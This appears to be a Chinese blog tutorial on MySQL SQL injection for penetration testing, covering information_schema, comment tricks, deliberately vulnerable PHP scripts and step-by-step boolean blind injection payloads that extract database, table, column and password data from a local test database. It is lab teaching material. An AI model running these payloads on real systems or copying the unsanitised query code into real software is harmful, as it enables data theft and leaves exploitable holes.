渗透测试MySql注入(一)
2019-08-12 本文已影响0人
Dale丶
一、SQL注入条件
- 参数用户可控:前端传递给后端的参数内容是用户可以控制的。
- 参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库执行。
二、MySQL注入知识点
在mysql5.0之后默认存在一个information_schema数据库,该数据库中有三个表特别重要,分别为:SCHEMATA表、TABLES表、COLUMNS表。
- SCHEMATA表中SCHEMA_NAME存放该用户创建的所有数据库库名: SCHEMATA表
- TABLES表中TABLE_SCHEMA和TABLE_NAME存放该用户创建的所有数据库库名和表名: TABLES表
- COLUMNS表中TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME分别存在该用户所创建的所有数据库名、表名、列名。
COLUMNS表
1. mysql查询语法
SELECT 要查询的字段名 FROM 库名.表名
select * from mysql.user
mysql查询1
SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知条件的字段名 = 已知条件的值
select * from mysql.user where user = 'root'
mysql查询2SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知条件1的字段名 = 已知条件1的值 AND 已知条件2的字段名 = 已知条件2的值
select * from mysql.user where user = 'root' and Host = 'localhost';
mysql查询3 2..limit 用法
limit相当于对查询的结果做约束,语法为limit m,n。m表示开始的位置,从0开始,n表示取的个数,limit 0,1表示
select * from mysql.user limit 0,1
limit用法 3.需要记住的几个函数 - database() :当前网站的数据库
- version():当前mysql版本
- user():当前数据库用户
4.注释符 - mysql常见的注释符有#--空格和/**/
5.内联注释 - 内联注释形式如:/!xxx/,内联注释可以用于整个SQL语句中
/*!select*/ * from /*!mysql.user */;
内联注释
三、union注入
在Navicat中创建一个数据库并填入相关的表数据 数据库编写union注入代码:
<?php
$con = mysqli_connect('localhost','root','root');//选择数据库
mysqli_select_db($con,'test');//选择表
if(mysqli_connect_error()){
echo "连接失败:".mysqli_connect_error();//要是连接失败就给提醒
}
$id = $_GET['id'];
$res = mysqli_query($con,"select * from user where `id` = ".$id );//执行SQL语句
$row = mysqli_fetch_array($res);//将mysql处理结果转换为数组
echo $row['user'] . ":" . $row['address'];//向前端显示数组值
echo "<br>";
?>
union注入
现在可以进行SQL注入了
五、Boolean 注入攻击
编写boolean注入代码:
<?php
$con = mysqli_connect('localhost','root','root');
mysqli_select_db($con,'test');
if(mysqli_connect_error()){
echo "连接失败:".mysqli_connect_error();
}
$id = $_GET['id'];
if(preg_match("/union|sleep|benchmark/i",$id)){
echo "no";
}
$res = mysqli_query($con,'select * from user where `id` = '.$id);
$row = mysqli_fetch_array($res);
if($row){
echo "yes";
}else{
echo "no";
}
?>
//以上代码过滤了关键字,且只回显‘yes’或者‘no’
此时无法进行union注入,可以进行bool注入
判断是否存在SQL注入:
bool 注入 说明存在SQL注入,因为是要bool 注入 故首先判断当前数据库的长度
payload:and length(database())>0
bool注入 boolean注入 boolean注入 证明数据库名为4位,接下来对每一位进行获取:
payload:and ascii(substr(database(),1,1))>1
bool注入 用二分法确定ascii值的区间再采用burp进行爆破,很快就能确定所有位。 bool注入 bool 注入 可以看出第一位的ascii值为116-》't',依次往下执行得到最后的数据库名为'test',接下来去查看该数据库有多少表:
payload:and (select count(table_name) from information_schema.tables where table_schema = database() limit 0,1)=1
bool 盲注
payload:and (select count(table_name) from information_schema.tables where table_schema = database() limit 0,1)=2
bool 盲注
说明存在一个表,接下来查看第一个表的长度:payload:and length(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1))=4
bool 盲注
说明表名是4位,接下来开始爆破表名得每一位:payload:and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))>0
bool 盲注
说明第一位是ascii是117-》'u',以此类推得到表名为'user',接下来查看表中有多少列,然后以此查看列名的长度位数和列名:
查看有多少列:
and (select count(column_name) from information_schema.columns where table_schema = 'test' and table_name = 'user' limit 0,1)>3
说明存在4列,查看第一列列名长度:
and length(substr((select column_name from information_schema.columns where table_schema='test' and table_name = 'user' limit 0,1),1))=2
变换limit x,1可以遍历出所有列名的长度,接下来爆破第一列的第一位:
and ascii(substr((select column_name from information_schema.columns where table_schema='test' and table_name='user' limit 0,1),1,1))>0
进行爆破后得出每一列的列名···
接下来提取数据:
and ascii(substr((select Password from user limit 0,1),1,1))=49
变换substr(x,y,1)中的y值一次爆破出数据···
最后得到整个数据库中的内容